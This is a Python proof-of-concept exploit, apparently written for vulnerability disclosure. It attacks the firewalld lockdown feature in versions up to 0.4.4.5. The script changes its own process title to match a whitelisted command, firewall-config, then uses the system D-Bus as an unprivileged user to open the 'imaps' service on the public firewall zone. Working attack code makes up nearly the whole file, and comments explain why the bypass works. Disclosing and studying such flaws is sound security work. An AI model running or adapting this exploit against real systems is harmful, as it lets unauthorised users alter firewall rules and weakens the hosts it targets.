#!/usr/bin/env python # this is a proof of concept that the firewalld lockdown implementation up # until current version 0.4.4.5 is flawed. # # firewalld maintains a whitelist of commands that are allowed to bypass the # lockdown (/etc/firewalld/lockdown-whitelist.xml). # However, the command name is calculated from /proc//cmdline in # src/firewall/dbus_utils.py[command_of_pid]. This value is under attacker # control and can easily be changed via setproctitle (which is a piece of code # that does the low level fiddling to achieve this, also found in util-linux, # here a python module is used). # this proof of concept changes its own cmdline to the one that is by default # in firewalld's whitelist to bypass the lockdown. you can run this as a # regular user, for uid 0 the lockdown is whitelisted anyways. # # Run 'firewall-cmd --lockdown-on' as root prior to testing this # # Depending on the polkit rules setup in your system you may to run this in # the context of a polkit agent and enter the user or administrator # password (the latter would be mitigating this issue for your setup). from __future__ import print_function import os, sys try: import pydbus except ImportError: print("You need to install pydbus from https://github.com/LEW21/pydbus") print() print("Try 'pip install --user pydbus") sys.exit(1) try: import setproctitle except ImportError: print("You need to install setproctitle from https://pypi.python.org/pypi/setproctitle") print() print("Try 'pip install --user setproctitle") sys.exit(1) # change this to a whitelisted command to work around an active firewalld # lockdown setproctitle.setproctitle("/usr/bin/python -Es /usr/bin/firewall-config") bus = pydbus.SystemBus() firewalld = bus.get("org.fedoraproject.FirewallD1") try: # to avoid an error on double-add firewalld.removeService("public", "imaps") except: pass # try to open some service on the public zone firewalld.addService("public", "imaps", 0)